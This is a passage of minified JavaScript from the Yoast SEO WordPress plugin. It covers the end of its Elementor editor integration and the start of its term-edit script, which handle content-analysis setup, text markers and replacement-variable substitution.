e)),controls:t});return(e=>{e.dispatch(Ee.actions.loadCornerstoneContent()),e.dispatch(Ee.actions.loadFocusKeyword()),e.dispatch(Ee.actions.setMarkerStatus(window.wpseoScriptData.metabox.elementorMarkerStatus)),e.dispatch(Ee.actions.setSettings({socialPreviews:{sitewideImage:window.wpseoScriptData.sitewideSocialImage,siteName:window.wpseoScriptData.metabox.site_name,contentImage:window.wpseoScriptData.metabox.first_content_image,twitterCardType:window.wpseoScriptData.metabox.twitterCardType},snippetEditor:{baseUrl:window.wpseoScriptData.metabox.base_url,date:window.wpseoScriptData.metabox.metaDescriptionDate,recommendedReplacementVariables:window.wpseoScriptData.analysis.plugins.replaceVars.recommended_replace_vars,siteIconUrl:window.wpseoScriptData.metabox.siteIconUrl}}));const{facebook:t,twitter:s}=window.wpseoScriptData.metabox.showSocial;t&&e.dispatch(Ee.actions.loadFacebookPreviewData()),s&&e.dispatch(Ee.actions.loadTwitterPreviewData()),e.dispatch(Ee.actions.setSEMrushChangeCountry(window.wpseoScriptData.metabox.countryCode)),e.dispatch(Ee.actions.setSEMrushLoginStatus(window.wpseoScriptData.metabox.SEMrushLoginStatus)),e.dispatch(Ee.actions.setWincherLoginStatus(window.wpseoScriptData.metabox.wincherLoginStatus,!1)),e.dispatch(Ee.actions.setWincherWebsiteId(window.wpseoScriptData.metabox.wincherWebsiteId)),e.dispatch(Ee.actions.setWincherAutomaticKeyphaseTracking(window.wpseoScriptData.metabox.wincherAutoAddKeyphrases)),e.dispatch(Ee.actions.setDismissedAlerts((0,T.get)(window,"wpseoScriptData.dismissedAlerts",{}))),e.dispatch(Ee.actions.setCurrentPromotions((0,T.get)(window,"wpseoScriptData.currentPromotions",{}))),e.dispatch(Ee.actions.setIsPremium(Boolean((0,T.get)(window,"wpseoScriptData.metabox.isPremium",!1)))),e.dispatch(Ee.actions.setAdminUrl((0,T.get)(window,"wpseoScriptData.adminUrl",""))),e.dispatch(Ee.actions.setLinkParams((0,T.get)(window,"wpseoScriptData.linkParams",{}))),e.dispatch(Ee.actions.setPluginUrl((0,T.get)(window,"wpseoScriptData.pluginUrl",""))),e.dispatch(Ee.actions.setWistiaEmbedPermissionValue("1"===(0,T.get)(window,"wpseoScriptData.wistiaEmbedPermission",!1)));const r=document.getElementById("yoast_wpseo_slug");r&&e.dispatch(Ee.actions.setEditorDataSlug(r.value))})(p),p._freeze=d.bind(null,p.getState),p._takeSnapshot=s.bind(null,p.getState,p.dispatch),p._restoreSnapshot=l.bind(null,p.dispatch),p}(),function(){Rt("panel/editor/open","yoast-seo/marks/reset-on-edit",(0,T.debounce)(qd,500),It),Rt("document/save/save","yoast-seo/marks/reset-on-save",qd,(({document:e})=>Ct((null==e?void 0:e.id)||elementor.documents.getCurrent().id)));const e=(e=>{const t=new MutationObserver(e);return(e=document)=>(t.observe(e,{attributes:!0,childList:!0,subtree:!0,characterData:!0}),()=>t.disconnect())})(Nd);let t=T.noop;St("editor/documents/close","yoast-seo/content-scraper/stop",(()=>{t(),t=T.noop,Nd.cancel()}),(({id:e})=>Ct(e))),St("editor/documents/attach-preview","yoast-seo/content-scraper/start",(()=>{t=e()}),It),St("document/save/set-is-modified","yoast-seo/content-scraper/on-modified",Nd,(({document:e})=>Ct((null==e?void 0:e.id)||elementor.documents.getCurrent().id))),Md()}(),window.YoastSEO.pluginReady=Pe,window.YoastSEO.pluginReloaded=Ae,window.YoastSEO.registerModification=Oe,window.YoastSEO.registerPlugin=Fe,window.YoastSEO.applyModifications=De,window.YoastSEO.analysis=window.YoastSEO.analysis||{},window.YoastSEO.analysis.run=(0,i.dispatch)("yoast-seo/editor").runAnalysis,window.YoastSEO.analysis.worker=function(){const{getAnalysisTimestamp:e,isCornerstoneContent:t}=(0,i.select)("yoast-seo/editor"),s=function(){const e=(0,T.get)(window,["wpseoScriptData","analysis","worker","url"],"analysis-worker.js"),t=(0,we.createWorker)(e),s=(0,T.get)(window,["wpseoScriptData","analysis","worker","dependencies"],[]),r=[];for(const e in s){if(!Object.prototype.hasOwnProperty.call(s,e))continue;const t=window.document.getElementById(`${e}-js-translations`);if(!t)continue;const n=t.innerHTML.slice(214),a=n.indexOf(","),o=n.slice(0,a-1);try{const e=JSON.parse(n.slice(a+1,-4));r.push([o,e])}catch(t){console.warn(`Failed to parse translation data for ${e} to send to the Yoast SEO worker`);continue}}return t.postMessage({dependencies:s,translations:r}),new we.AnalysisWorkerWrapper(t)}();s.initialize(function(e={}){const t={locale:ke(),contentAnalysisActive:xe(),keywordAnalysisActive:Se(),inclusiveLanguageAnalysisActive:Re(),defaultQueryParams:(0,T.get)(window,["wpseoAdminL10n","default_query_params"],{}),logLevel:(0,T.get)(window,["wpseoScriptData","analysis","worker","log_level"],"ERROR"),enabledFeatures:(0,Te.enabledFeatures)()};return(0,T.merge)(t,e)}({useCornerstone:t(),marker:ct()})).catch(be),window.YoastSEO.analysis.applyMarks=(e,t)=>ct()(e,t);let r=pt(),n=t(),a=e();return(0,i.subscribe)((()=>{const o=t(),i=pt(),l=e();if(o!==n)return n=o,r=i,void s.initialize({useCornerstone:o}).then((()=>dt(s,i))).catch(be);l===a&&!1!==(0,T.isEqual)(i,r)||(r=i,a=l,dt(s,i))})),s}(),window.YoastSEO.analysis.collectData=pt,Fe(na,{status:"ready"}),la().forEach((t=>{const s=null==e?void 0:e[t];if(s){const e=(({getReplacement:e,regexp:t})=>s=>s.replace(t,e()))(s);ia(e)}})),window.YoastSEO.wp=window.YoastSEO.wp||{},window.YoastSEO.wp.replaceVarsPlugin={addReplacement:ca,ReplaceVar:ra},function(){const e=ve(),t=(0,T.get)(window,["wpseoScriptData","analysis","worker","keywords_assessment_url"],"used-keywords-assessment.js"),s=(0,T.get)(window,["wpseoScriptData","usedKeywordsNonce"],""),r=new Wd("get_focus_keyword_usage_and_post_types",e,(0,i.dispatch)("yoast-seo/editor").runAnalysis,t,s);r.init();let n="";(0,i.subscribe)((()=>{const e=(0,i.select)("yoast-seo/editor").getFocusKeyphrase();e!==n&&(n=e,r.setKeyword(e))}))}(),(()=>{if((0,i.select)("yoast-seo/editor").getPreference("isInsightsEnabled",!1))(0,i.dispatch)("yoast-seo/editor").loadEstimatedReadingTime(),(0,i.subscribe)((0,T.debounce)(ut(),1500,{maxWait:3e3}))})(),function(e){const{getFocusKeyphrase:t}=(0,i.select)("yoast-seo/editor");let s=t();Ud(e,s),(0,i.subscribe)((()=>{const r=t();s!==r&&(s=r,$d(e,r))}))}(window.YoastSEO.analysis.worker.runResearch),window.elementorFrontend.config.experimentalFeatures.editor_v2?function(){if(!0===window.elementor.config.user.introduction["yoast-introduction-editor-v2"])return;const e=new window.elementorModules.editor.utils.Introduction({introductionKey:"yoast-introduction-editor-v2",dialogOptions:{id:"yoast-introduction-editor-v2",className:"elementor-right-click-introduction yoast-elementor-introduction",headerMessage:(0,m.__)("Yoast SEO for Elementor","wordpress-seo"),message:(0,m.__)("Get started with Yoast SEO's content analysis for Elementor!","wordpress-seo"),position:{my:"center top",at:"center bottom+20",of:document.querySelector("button[value='document-settings']"),using:function(e,t){this.style.setProperty("--yoast-elementor-introduction-arrow",t.target.left-t.element.left+8+"px");const s=t.target.element.closest("#elementor-editor-wrapper-v2 header");s&&s.offsetHeight>e.top-12?this.style.top=s.offsetHeight+20+"px":(0,T.isObject)(s)&&s[0].offsetHeight>e.top-12?this.style.top=s[0].offsetHeight+12+"px":this.style.top=e.top+"px",this.style.left=e.left+"px"},autoRefresh:!0},hide:{onOutsideClick:!1}},onDialogInitCallback:t=>{window.$e.routes.on("run:after",(function(e,s){"panel/page-settings/settings"===s&&t.getElements("ok").trigger("click")})),t.addButton({name:"ok",text:(0,m.__)("Got it","wordpress-seo"),callback:()=>e.setViewed()}),t.getElements("ok").addClass("elementor-button elementor-button-success")}});setTimeout((function t(){try{e.show()}catch(e){setTimeout(t,100)}}),100)}():function(){if(!0===window.elementor.config.user.introduction["yoast-introduction"])return;const e=new window.elementorModules.editor.utils.Introduction({introductionKey:"yoast-introduction",dialogOptions:{id:"yoast-introduction",className:"elementor-right-click-introduction yoast-elementor-introduction",headerMessage:(0,m.__)("New: Yoast SEO for Elementor","wordpress-seo"),message:(0,m.__)("Get started with Yoast SEO's content analysis for Elementor!","wordpress-seo"),position:{my:"left top",at:"right top",autoRefresh:!0},hide:{onOutsideClick:!1}},onDialogInitCallback:t=>{window.$e.routes.on("run:after",(function(e,s){"panel/menu"===s&&t.getElements("ok").trigger("click")})),t.addButton({name:"ok",text:(0,m.__)("Got it","wordpress-seo"),callback:()=>e.setViewed()}),t.getElements("ok").addClass("elementor-button elementor-button-success")}});setTimeout((function t(){try{e.show(window.elementor.getPanelView().header.currentView.ui.menuButton[0])}catch(e){setTimeout(t,100)}}),100)}(),bc(),window.wpseoScriptData.postType&&!["attachment","product"].includes(window.wpseoScriptData.postType)&&(()=>{const e=(0,i.select)(fe).getIsPremium(),t=(0,i.select)(fe).getIsWooSeoUpsell(),s=(0,i.select)(fe).getIsWooSeoUpsellTerm(),r=!e||t||s;(0,l.addFilter)("yoast.replacementVariableEditor.additionalButtons","yoast/yoast-seo-premium/AiGenerator",((e,{fieldId:t})=>(r&&e.push((0,c.createElement)(p.Fill,{name:`yoast.replacementVariableEditor.additionalButtons.${t}`},(0,c.createElement)(ye,{fieldId:t}))),e)))})(),(0,l.doAction)("yoast.elementor.loaded")}Wd.prototype.init=function(){const{worker:e}=window.YoastSEO.analysis;this.requestKeywordUsage=(0,T.debounce)(this.requestKeywordUsage.bind(this),500),e.loadScript(this._scriptUrl).then((()=>{e.sendMessage("initialize",this._options,"used-keywords-assessment")})).then((()=>{this._initialized=!0,(0,T.isEqual)(this._options.usedKeywords,this._keywordUsage)?this._refreshAnalysis():e.sendMessage("updateKeywordUsage",this._keywordUsage,"used-keywords-assessment").then((()=>this._refreshAnalysis()))})).catch((e=>console.error(e)))},Wd.prototype.setKeyword=function(e){(0,T.has)(this._keywordUsage,e)||this.requestKeywordUsage(e)},Wd.prototype.requestKeywordUsage=function(e){Bd.post(ajaxurl,{action:this._ajaxAction,post_id:this._postID,keyword:e,taxonomy:this._taxonomy,nonce:this._nonce},this.updateKeywordUsage.bind(this,e),"json")},Wd.prototype.updateKeywordUsage=function(e,t){const{worker:s}=window.YoastSEO.analysis,r=t.keyword_usage,n=t.post_types;r&&(0,T.isArray)(r)&&(this._keywordUsage[e]=r,this._usedKeywordsPostTypes[e]=n,this._initialized&&s.sendMessage("updateKeywordUsage",{usedKeywords:this._keywordUsage,usedKeywordsPostTypes:this._usedKeywordsPostTypes},"used-keywords-assessment").then((()=>this._refreshAnalysis())))},jQuery(window).on("elementor:init",(()=>{window.elementor.on("panel:init",(()=>{setTimeout(Kd)}))}))})()})();wordpress-seo/js/dist/term-edit.js000064400000254346147510273070013213 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var n in s)e.o(s,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:s[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{DISMISS_ALERT:()=>A,SNIPPET_EDITOR_FIND_CUSTOM_FIELDS:()=>N,wistiaEmbedPermission:()=>M});const s=window.wp.domReady;var n=e.n(s);const i=window.jQuery;var o=e.n(i);const a=window.lodash,r=window.wp.i18n;const l=window.wp.data,c=window.yoast.externals.redux,d=window.yoast.reduxJsToolkit,p="adminUrl",u=(0,d.createSlice)({name:p,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),m=(u.getInitialState,{selectAdminUrl:e=>(0,a.get)(e,p,"")});m.selectAdminLink=(0,d.createSelector)([m.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),u.actions,u.reducer;const h=window.wp.url,g="linkParams",y=(0,d.createSlice)({name:g,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),w=(y.getInitialState,{selectLinkParam:(e,t,s={})=>(0,a.get)(e,`${g}.${t}`,s),selectLinkParams:e=>(0,a.get)(e,g,{})});w.selectLink=(0,d.createSelector)([w.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,h.addQueryArgs)(t,{...e,...s}))),y.actions,y.reducer;const f=(0,d.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:n,description:i})=>({payload:{id:e||(0,d.nanoid)(),variant:t,size:s,title:n||"",description:i}})},removeNotification:(e,{payload:t})=>(0,a.omit)(e,t)}}),b=(f.getInitialState,f.actions,f.reducer,"pluginUrl"),_=(0,d.createSlice)({name:b,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),E=(_.getInitialState,{selectPluginUrl:e=>(0,a.get)(e,b,"")});E.selectImageLink=(0,d.createSelector)([E.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,a.trimEnd)(e,"/"),(0,a.trim)(t,"/"),(0,a.trimStart)(s,"/")].join("/"))),_.actions,_.reducer;const v=window.wp.apiFetch;var k=e.n(v);const S="loading",x="showPlay",R="askPermission",O="isPlaying",P="wistiaEmbedPermission",C=(0,d.createSlice)({name:P,initialState:{value:!1,status:"idle",error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${P}/request`,(e=>{e.status=S})),e.addCase(`${P}/success`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${P}/error`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,a.get)(t,"error.code",500),message:(0,a.get)(t,"error.message","Unknown")}}))}}),T=(C.getInitialState,C.actions,{[P]:async({payload:e})=>k()({path:"/yoast/v1/wistia_embed_permission",method:"POST",data:{value:Boolean(e)}})});function A({alertKey:e}){return new Promise((t=>wpseoApi.post("alerts/dismiss",{key:e},(()=>t()))))}function N({query:e,postId:t}){return new Promise((s=>{wpseoApi.get("meta/search",{query:e,post_id:t},(e=>{s(e.meta)}))}))}C.reducer;const M=T[P];const I=window.yoast.analysis,L=window.wp.isShallowEqual,F="yoastmark";function B(e,t){return e._properties.position.startOffset>t.length||e._properties.position.endOffset>t.length}function D(e,t,s){const n=e.dom;let i=e.getContent();if(i=I.markers.removeMarks(i),(0,a.isEmpty)(s))return void e.setContent(i);i=s[0].hasPosition()?function(e,t){if(!t)return"";for(let s=(e=(0,a.orderBy)(e,(e=>e._properties.position.startOffset),["asc"])).length-1;s>=0;s--){const n=e[s];B(n,t)||(t=n.applyWithPosition(t))}return t}(s,i):function(e,t,s,n){const{fieldsToMark:i,selectedHTML:o}=I.languageProcessing.getFieldsToMark(s,n);return(0,a.forEach)(s,(function(t){"acf_content"!==e.id&&(t._properties.marked=I.languageProcessing.normalizeHTML(t._properties.marked),t._properties.original=I.languageProcessing.normalizeHTML(t._properties.original)),i.length>0?o.forEach((e=>{const s=t.applyWithReplace(e);n=n.replace(e,s)})):n=t.applyWithReplace(n)})),n}(e,0,s,i),e.setContent(i),function(e){let t=e.getContent();t=t.replace(new RegExp("&lt;yoastmark.+?&gt;","g"),"").replace(new RegExp("&lt;/yoastmark&gt;","g"),""),e.setContent(t)}(e);const o=n.select(F);(0,a.forEach)(o,(function(e){e.setAttribute("data-mce-bogus","1")}))}function U(e){return window.test=e,D.bind(null,e)}const j="et_pb_main_editor_wrap",Y=class{static isActive(){return!!document.getElementById(j)}static isTinyMCEHidden(){const e=document.getElementById(j);return!!e&&e.classList.contains("et_pb_hidden")}listen(e){this.classicEditorContainer=document.getElementById(j),this.classicEditorContainer&&new MutationObserver((t=>{(0,a.forEach)(t,(t=>{"attributes"===t.type&&"class"===t.attributeName&&(t.target.classList.contains("et_pb_hidden")?e.classicEditorHidden():e.classicEditorShown())}))})).observe(this.classicEditorContainer,{attributes:!0})}},q=class{static isActive(){return!!window.VCV_I18N}},$={classicEditorHidden:a.noop,classicEditorShown:a.noop,pageBuilderLoaded:a.noop},z=class{constructor(){this.determineActivePageBuilders()}determineActivePageBuilders(){Y.isActive()&&(this.diviActive=!0),q.isActive()&&(this.vcActive=!0)}isPageBuilderActive(){return this.diviActive||this.vcActive}listen(e){this.callbacks=(0,a.defaults)(e,$),this.diviActive&&(new Y).listen(e)}isClassicEditorHidden(){return!(!this.diviActive||!Y.isTinyMCEHidden())}};let K;const V="content",W="description";function H(e){if("undefined"==typeof tinyMCE||void 0===tinyMCE.editors||0===tinyMCE.editors.length)return!1;const t=tinyMCE.get(e);return null!==t&&!t.isHidden()}function Q(e,t,s){"undefined"!=typeof tinyMCE&&"function"==typeof tinyMCE.on&&tinyMCE.on("addEditor",(function(n){const i=n.editor;i.id===e&&(0,a.forEach)(t,(function(e){i.on(e,s)}))}))}function G(){(0,a.isUndefined)(K)||K.dispatch(c.actions.setMarkerStatus("disabled"))}function Z(){(0,a.isUndefined)(K)||K.dispatch(c.actions.setMarkerStatus("enabled"))}class J{constructor(e){this.refresh=e,this.loaded=!1,this.preloadThreshold=3e3,this.plugins={},this.modifications={},this._registerPlugin=this._registerPlugin.bind(this),this._ready=this._ready.bind(this),this._reloaded=this._reloaded.bind(this),this._registerModification=this._registerModification.bind(this),this._registerAssessment=this._registerAssessment.bind(this),this._applyModifications=this._applyModifications.bind(this),setTimeout(this._pollLoadingPlugins.bind(this),1500)}_registerPlugin(e,t){return(0,a.isString)(e)?(0,a.isUndefined)(t)||(0,a.isObject)(t)?!1===this._validateUniqueness(e)?(console.error("Failed to register plugin. Plugin with name "+e+" already exists"),!1):(this.plugins[e]=t,!0):(console.error("Failed to register plugin "+e+". Expected parameters `options` to be a object."),!1):(console.error("Failed to register plugin. Expected parameter `pluginName` to be a string."),!1)}_ready(e){return(0,a.isString)(e)?(0,a.isUndefined)(this.plugins[e])?(console.error("Failed to modify status for plugin "+e+". The plugin was not properly registered."),!1):(this.plugins[e].status="ready",!0):(console.error("Failed to modify status for plugin "+e+". Expected parameter `pluginName` to be a string."),!1)}_reloaded(e){return(0,a.isString)(e)?(0,a.isUndefined)(this.plugins[e])?(console.error("Failed to reload Content Analysis for plugin "+e+". The plugin was not properly registered."),!1):(this.refresh(),!0):(console.error("Failed to reload Content Analysis for "+e+". Expected parameter `pluginName` to be a string."),!1)}_registerModification(e,t,s,n){if(!(0,a.isString)(e))return console.error("Failed to register modification for plugin "+s+". Expected parameter `modification` to be a string."),!1;if(!(0,a.isFunction)(t))return console.error("Failed to register modification for plugin "+s+". Expected parameter `callable` to be a function."),!1;if(!(0,a.isString)(s))return console.error("Failed to register modification for plugin "+s+". Expected parameter `pluginName` to be a string."),!1;if(!1===this._validateOrigin(s))return console.error("Failed to register modification for plugin "+s+". The integration has not finished loading yet."),!1;const i={callable:t,origin:s,priority:(0,a.isNumber)(n)?n:10};return(0,a.isUndefined)(this.modifications[e])&&(this.modifications[e]=[]),this.modifications[e].push(i),!0}_registerAssessment(e,t,s,n){return(0,a.isString)(t)?(0,a.isObject)(s)?(0,a.isString)(n)?(t=n+"-"+t,e.addAssessment(t,s),!0):(console.error("Failed to register assessment for plugin "+n+". Expected parameter `pluginName` to be a string."),!1):(console.error("Failed to register assessment for plugin "+n+". Expected parameter `assessment` to be a function."),!1):(console.error("Failed to register test for plugin "+n+". Expected parameter `name` to be a string."),!1)}_applyModifications(e,t,s){let n=this.modifications[e];return!(0,a.isArray)(n)||n.length<1||(n=this._stripIllegalModifications(n),n.sort(((e,t)=>e.priority-t.priority)),(0,a.forEach)(n,(function(n){const i=n.callable(t,s);typeof i==typeof t?t=i:console.error("Modification with name "+e+" performed by plugin with name "+n.origin+" was ignored because the data that was returned by it was of a different type than the data we had passed it.")}))),t}_pollLoadingPlugins(e){e=(0,a.isUndefined)(e)?0:e,!0===this._allReady()?(this.loaded=!0,this.refresh()):e>=this.preloadThreshold?(this._pollTimeExceeded(),this.loaded=!0,this.refresh()):(e+=50,setTimeout(this._pollLoadingPlugins.bind(this,e),50))}_allReady(){return(0,a.reduce)(this.plugins,(function(e,t){return e&&"ready"===t.status}),!0)}_pollTimeExceeded(){(0,a.forEach)(this.plugins,(function(e,t){(0,a.isUndefined)(e.options)||"ready"===e.options.status||(console.error("Error: Plugin "+t+". did not finish loading in time."),delete this.plugins[t])}))}_stripIllegalModifications(e){return(0,a.forEach)(e,((t,s)=>{!1===this._validateOrigin(t.origin)&&delete e[s]})),e}_validateOrigin(e){return"ready"===this.plugins[e].status}_validateUniqueness(e){return(0,a.isUndefined)(this.plugins[e])}}function X(e,t,s){e("morphology",new I.Paper("",{keyword:s})).then((e=>{const s=e.result.keyphraseForms;t.dispatch(c.actions.updateWordsToHighlight((0,a.uniq)((0,a.flatten)(s))))})).catch((()=>{t.dispatch(c.actions.updateWordsToHighlight([]))}))}const ee=window.wp.api;function te(){return window.wpseoScriptData&&"1"===window.wpseoScriptData.isBlockEditor}var se={source:"wpseoScriptData.analysis.plugins.replaceVars",scope:[],aliases:[]},ne=function(e,t,s){this.placeholder=e,this.replacement=t,this.options=(0,a.defaults)(s,se)};ne.prototype.getPlaceholder=function(e){return(e=e||!1)&&this.hasAlias()?this.placeholder+"|"+this.getAliases().join("|"):this.placeholder},ne.prototype.setSource=function(e){this.options.source=e},ne.prototype.hasScope=function(){return!(0,a.isEmpty)(this.options.scope)},ne.prototype.addScope=function(e){this.hasScope()||(this.options.scope=[]),this.options.scope.push(e)},ne.prototype.inScope=function(e){return!this.hasScope()||(0,a.indexOf)(this.options.scope,e)>-1},ne.prototype.hasAlias=function(){return!(0,a.isEmpty)(this.options.aliases)},ne.prototype.addAlias=function(e){this.hasAlias()||(this.options.aliases=[]),this.options.aliases.push(e)},ne.prototype.getAliases=function(){return this.options.aliases};const ie=ne,{removeReplacementVariable:oe,updateReplacementVariable:ae,refreshSnippetEditor:re}=c.actions;var le=["content","title","snippet_title","snippet_meta","primary_category","data_page_title","data_meta_desc","excerpt"],ce={},de={},pe=function(e,t){this._app=e,this._app.registerPlugin("replaceVariablePlugin",{status:"ready"}),this._store=t,this.replaceVariables=this.replaceVariables.bind(this),this.registerReplacements(),this.registerModifications(),this.registerEvents(),this.subscribeToGutenberg()};pe.prototype.registerReplacements=function(){this.addReplacement(new ie("%%author_first_name%%","author_first_name")),this.addReplacement(new ie("%%author_last_name%%","author_last_name")),this.addReplacement(new ie("%%category%%","category")),this.addReplacement(new ie("%%category_title%%","category_title")),this.addReplacement(new ie("%%currentdate%%","currentdate")),this.addReplacement(new ie("%%currentday%%","currentday")),this.addReplacement(new ie("%%currentmonth%%","currentmonth")),this.addReplacement(new ie("%%currenttime%%","currenttime")),this.addReplacement(new ie("%%currentyear%%","currentyear")),this.addReplacement(new ie("%%date%%","date")),this.addReplacement(new ie("%%id%%","id")),this.addReplacement(new ie("%%page%%","page")),this.addReplacement(new ie("%%permalink%%","permalink")),this.addReplacement(new ie("%%post_content%%","post_content")),this.addReplacement(new ie("%%post_month%%","post_month")),this.addReplacement(new ie("%%post_year%%","post_year")),this.addReplacement(new ie("%%searchphrase%%","searchphrase")),this.addReplacement(new ie("%%sitedesc%%","sitedesc")),this.addReplacement(new ie("%%sitename%%","sitename")),this.addReplacement(new ie("%%userid%%","userid")),this.addReplacement(new ie("%%focuskw%%","keyword",{source:"app",aliases:["%%keyword%%"]})),this.addReplacement(new ie("%%term_description%%","text",{source:"app",scope:["term","category","tag"],aliases:["%%tag_description%%","%%category_description%%"]})),this.addReplacement(new ie("%%term_title%%","term_title",{scope:["term"]})),this.addReplacement(new ie("%%term_hierarchy%%","term_hierarchy",{scope:["term"]})),this.addReplacement(new ie("%%title%%","title",{source:"app",scope:["post","term","page"]})),this.addReplacement(new ie("%%parent_title%%","title",{source:"app",scope:["page","category"]})),this.addReplacement(new ie("%%excerpt%%","excerpt",{source:"app",scope:["post"],aliases:["%%excerpt_only%%"]})),this.addReplacement(new ie("%%primary_category%%","primaryCategory",{source:"app",scope:["post"]})),this.addReplacement(new ie("%%sep%%(\\s*%%sep%%)*","sep"))},pe.prototype.registerEvents=function(){const e=wpseoScriptData.analysis.plugins.replaceVars.scope;"post"===e&&jQuery(".categorydiv").each(this.bindTaxonomyEvents.bind(this)),"post"!==e&&"page"!==e||jQuery("#postcustomstuff > #list-table").each(this.bindFieldEvents.bind(this))},pe.prototype.subscribeToGutenberg=function(){if(!te())return;const e={0:""};let t=null;const s=wp.data;s.subscribe((()=>{const n=s.select("core/editor").getEditedPostAttribute("parent");if(void 0!==n&&t!==n)return t=n,n<1?(this._currentParentPageTitle="",void this.declareReloaded()):(0,a.isUndefined)(e[n])?void ee.loadPromise.done((()=>{new ee.models.Page({id:n}).fetch().then((t=>{this._currentParentPageTitle=t.title.rendered,e[n]=this._currentParentPageTitle,this.declareReloaded()})).fail((()=>{this._currentParentPageTitle="",this.declareReloaded()}))})):(this._currentParentPageTitle=e[n],void this.declareReloaded())}))},pe.prototype.addReplacement=function(e){ce[e.placeholder]=e},pe.prototype.removeReplacement=function(e){delete ce[e.getPlaceholder()]},pe.prototype.registerModifications=function(){var e=this.replaceVariables.bind(this);(0,a.forEach)(le,function(t){this._app.registerModification(t,e,"replaceVariablePlugin",10)}.bind(this))},pe.prototype.replaceVariables=function(e){return(0,a.isUndefined)(e)||(e=this.parentReplace(e),e=this.replaceCustomTaxonomy(e),e=this.replaceByStore(e),e=this.replacePlaceholders(e)),e},pe.prototype.replaceByStore=function(e){const t=this._store.getState().snippetEditor.replacementVariables;return(0,a.forEach)(t,(t=>{""!==t.value&&(e=e.replace("%%"+t.name+"%%",t.value))})),e},pe.prototype.getReplacementSource=function(e){return"app"===e.source?this._app.rawData:"direct"===e.source?"direct":wpseoScriptData.analysis.plugins.replaceVars.replace_vars},pe.prototype.getReplacement=function(e){var t=this.getReplacementSource(e.options);return!1===e.inScope(wpseoScriptData.analysis.plugins.replaceVars.scope)?"":"direct"===t?e.replacement:t[e.replacement]||""},pe.prototype.replacePlaceholders=function(e){return(0,a.forEach)(ce,function(t){e=e.replace(new RegExp(t.getPlaceholder(!0),"g"),this.getReplacement(t))}.bind(this)),e},pe.prototype.declareReloaded=function(){this._app.pluginReloaded("replaceVariablePlugin"),this._store.dispatch(re())},pe.prototype.getCategoryName=function(e){var t=e.parent("label").clone();return t.children().remove(),t.text().trim()},pe.prototype.parseTaxonomies=function(e,t){(0,a.isUndefined)(de[t])&&(de[t]={});const s=[];(0,a.forEach)(e,function(e){const n=(e=jQuery(e)).val(),i=this.getCategoryName(e),o=e.prop("checked");de[t][n]={label:i,checked:o},o&&-1===s.indexOf(i)&&s.push(i)}.bind(this)),"category"!==t&&(t="ct_"+t),this._store.dispatch(ae(t,s.join(", ")))},pe.prototype.getAvailableTaxonomies=function(e){var t=jQuery(e).find("input[type=checkbox]"),s=jQuery(e).attr("id").replace("taxonomy-","");t.length>0&&this.parseTaxonomies(t,s),this.declareReloaded()},pe.prototype.bindTaxonomyEvents=function(e,t){(t=jQuery(t)).on("wpListAddEnd",".categorychecklist",this.getAvailableTaxonomies.bind(this,t)),t.on("change","input[type=checkbox]",this.getAvailableTaxonomies.bind(this,t)),this.getAvailableTaxonomies(t)},pe.prototype.replaceCustomTaxonomy=function(e){return(0,a.forEach)(de,function(t,s){var n="%%ct_"+s+"%%";"category"===s&&(n="%%"+s+"%%"),e=e.replace(n,this.getTaxonomyReplaceVar(s))}.bind(this)),e},pe.prototype.getTaxonomyReplaceVar=function(e){var t=[],s=de[e];return!0===(0,a.isUndefined)(s)?"":((0,a.forEach)(s,(function(e){!1!==e.checked&&t.push(e.label)})),jQuery.uniqueSort(t).join(", "))},pe.prototype.parseFields=function(e){jQuery(e).each(function(e,t){var s=jQuery("#"+t.id+"-key").val(),n=jQuery("#"+t.id+"-value").val();const i="cf_"+this.sanitizeCustomFieldNames(s),o=s+" (custom field)";this._store.dispatch(ae(i,n,o)),this.addReplacement(new ie(`%%${i}%%`,n,{source:"direct"}))}.bind(this))},pe.prototype.removeFields=function(e){jQuery(e).each(function(e,t){var s=jQuery("#"+t.id+"-key").val();this.removeReplacement("%%cf_"+this.sanitizeCustomFieldNames(s)+"%%")}.bind(this))},pe.prototype.sanitizeCustomFieldNames=function(e){return e.replace(/\s/g,"_")},pe.prototype.getAvailableFields=function(e){this.removeCustomFields();var t=jQuery(e).find("#the-list > tr:visible[id]");t.length>0&&this.parseFields(t),this.declareReloaded()},pe.prototype.bindFieldEvents=function(e,t){var s=(t=jQuery(t)).find("#the-list");s.on("wpListDelEnd.wpseoCustomFields",this.getAvailableFields.bind(this,t)),s.on("wpListAddEnd.wpseoCustomFields",this.getAvailableFields.bind(this,t)),s.on("input.wpseoCustomFields",".textarea",this.getAvailableFields.bind(this,t)),s.on("click.wpseoCustomFields",".button + .updatemeta",this.getAvailableFields.bind(this,t)),this.getAvailableFields(t)},pe.prototype.removeCustomFields=function(){var e=(0,a.filter)(ce,(function(e,t){return t.indexOf("%%cf_")>-1}));(0,a.forEach)(e,function(e){this._store.dispatch(oe((0,a.trim)(e.placeholder,"%%"))),this.removeReplacement(e)}.bind(this))},pe.prototype.parentReplace=function(e){const t=jQuery("#parent_id, #parent").eq(0);return 